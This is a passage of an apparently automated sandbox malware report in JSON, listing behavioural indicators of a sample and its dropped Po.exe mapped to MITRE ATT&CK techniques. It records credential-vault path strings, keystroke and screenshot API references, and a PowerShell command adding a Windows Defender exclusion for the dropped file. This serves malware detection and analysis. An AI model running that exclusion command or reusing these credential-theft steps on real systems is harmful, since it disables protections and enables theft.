\"00000000-00007212.00000000.140864.713A1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (Dotnet)","description":"Observed Namespace \"System.Net.WebClient\" and MemberReference \".ctor\" in \"PO.exe\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadData\" in \"PO.exe\"","origin":"Static Parser","mitre_attack_id":"T1071.001","relevance":1,"id":"static-158","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Network Related","name":"Contains ability to provide interface for network protocols (Dotnet)","description":"Observed namespace \"System.Net\" in \"PO.exe\"","origin":"Static Parser","mitre_attack_id":"T1071.001","relevance":1,"id":"static-110","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$4f","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"GET /geoip HTTP/1.1Host: api.ip.sb\n Connection: Keep-Alive\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad\n Observed JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e\n Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c\n Observed JA3 fingerprint: 1fc1c530fdab845a0a2b05d0b5335bcb","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://api.ip.sb/geoip","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"104.26.13.31\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES Encryption","description":"YARA signature for AES encryption matched on process \"00000000-00005280\"\n YARA signature for AES encryption matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE4C399867BAF05C89509C0EB7DD16]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005280.00000000.140497.00CB0000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005280.00000000.140497.00CB0000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE317E9736DFD742B74A112C8CFD1E]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005280.00000000.140497.00CB0000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLECD7EDF8E8F81451538934A40CBE6]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005280.00000000.140497.00CB0000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE5EB43A37532EAB6D9306DDA92745]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00006620.00000000.141393.02F00000.00000004.mdmp\")\n Found string \"ncalrpc\" (Indicator: \"ncalrpc\"; Source: \"00000000-00007212.00000000.140864.713A1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"2634090961\"\n \"cx\": \"1\"\n \"cy\": \"1\"}\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"2046887172\"\n \"cx\": \"1\"\n \"cy\": \"1\"}\n \"22c44c550563220ca7ebfcfc28351b9f.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"889259909\"\n \"cx\": \"16\"\n \"cy\": \"16\"}\n \"Po.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"2113996741\"\n \"cx\": \"1\"\n \"cy\": \"1\"}\n \"Po.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"1359021998\"\n \"cx\": \"1\"\n \"cy\": \"1\"}","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"Po.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00006620)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"Po.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00006620)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"Po.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"Po.exe\" called \"GetUserNameW\" (UID: 00000000-00007860)\n \"Po.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user names for specified SIDs","description":"\"Po.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"88f8560\"\n \"Count\": \"1\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":1,"id":"api-255","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$50","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$51","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$52","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"$53","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$54","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00006620.00000000.141393.000A1000.00000002.mdmp, 00000000-00006620.00000000.141393.72745000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$57","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about operating system (API string)","description":"Found reference to API \"11823856474,8488,3025,,RtlGetNtProductType,NTDLL.dll,\"00:36:35.265\",RX=0,PX=0\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00005280.00000000.140497.00CB0000.00000004.mdmp\")\n Found reference to API \"10598198918,7400,3024,,RtlGetVersion,NTDLL.dll,\"00:36:49.234\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00006620.00000000.141393.02F00000.00000004.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00006620.00000000.141393.72745000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"MapVirtualKeyExW\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"MapVirtualKeyW\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00006620.00000000.141393.000A1000.00000002.mdmp, 00000000-00006620.00000000.141393.72745000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00006620.00000000.141393.000A1000.00000002.mdmp, 00000000-00006620.00000000.141393.72745000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")\n Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00005280.00000000.140497.726A1000.00000020.mdmp\")\n Found reference to API \"NdrDllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00006620.00000000.141393.72731000.00000020.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$58","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found string related to Windows Vault/Credentials location","description":"\"%APPDATA%\\Microsoft\\Credentials\\*\" (Indicator: \"\\microsoft\\credentials\"; File: \"00000000-00007860-00000C28-21584921414\")\n \"%APPDATA%\\Microsoft\\Vault\\*\" (Indicator: \"\\microsoft\\vault\"; File: \"00000000-00007860-00000C28-22667846680\")\n \"%LOCALAPPDATA%\\Microsoft\\Credentials\\*\" (Indicator: \"\\microsoft\\credentials\"; File: \"00000000-00007860-00000C28-22732892212\")\n \"%LOCALAPPDATA%\\Microsoft\\Vault\\*\" (Indicator: \"\\microsoft\\vault\"; File: \"00000000-00007860-00000C28-22787855148\")","origin":"File/Memory","mitre_attack_id":"T1555.004","relevance":3,"id":"string-197","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: 22c44c550563220ca7ebfcfc28351b9f.exe]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Read system defined device setup information from registry","description":"\"22c44c550563220ca7ebfcfc28351b9f.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")\n \"Po.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"Po.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00007212)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006620)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"\\Device\\HarddiskVolume2\\22c44c550563220ca7ebfcfc28351b9f.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00005280.00000000.140497.00CB0000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00005280.00000000.140497.00CB0000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00006620.00000000.141393.02F00000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00007212.00000000.140864.037F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete registry key/value (API string)","description":"Found reference to API \"RegDeleteKeyExW\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00005280.00000000.140497.726A1000.00000020.mdmp\")\n Found reference to API \"RegDeleteKeyW\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00005280.00000000.140497.726A1000.00000020.mdmp\")\n Found reference to API \"RegDeleteValueW\" (Indicator: \"RegDeleteValue\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"SetWindowsHookExW\" (Indicator: \"SetWindowsHook\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"SetWinEventHook\" (Indicator: \"SetWinEventHook\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"UnhookWinEvent\" (Indicator: \"UnhookWinEvent\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00006620.00000000.141393.02F00000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$59","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00007860-00000C26-1232310418","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00006620.00000000.141393.000A1000.00000002.mdmp, 00000000-00006620.00000000.141393.72745000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"22c44c550563220ca7ebfcfc28351b9f.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005280.00000000.140497.00E6A000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00006620.00000000.141393.000A1000.00000002.mdmp, 00000000-00006620.00000000.141393.72745000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"Po.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$5a","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"System Security","name":"Uses powershell with a add-mppreference commandline param","description":"Process \"powershell.exe\" with commandline \"Add-MpPreference -ExclusionPath \"%TEMP%\\\\RarSFX0\\\\Po.exe\"\" (UID: 00000000-00006620)","origin":"Monitored Target","mitre_attack_id":"T1562","relevance":3,"id":"target-236","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00005280.00000000.140497.00CB0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"OpenMutexW\" (Indicator: \"OpenMutex\"; Source: \"00000000-00005280.00000000.140497.72707000.00000002.mdmp\")\n Found reference to API \"CreateMutexExW\" (Indicator: \"CreateMutex\"; Source: 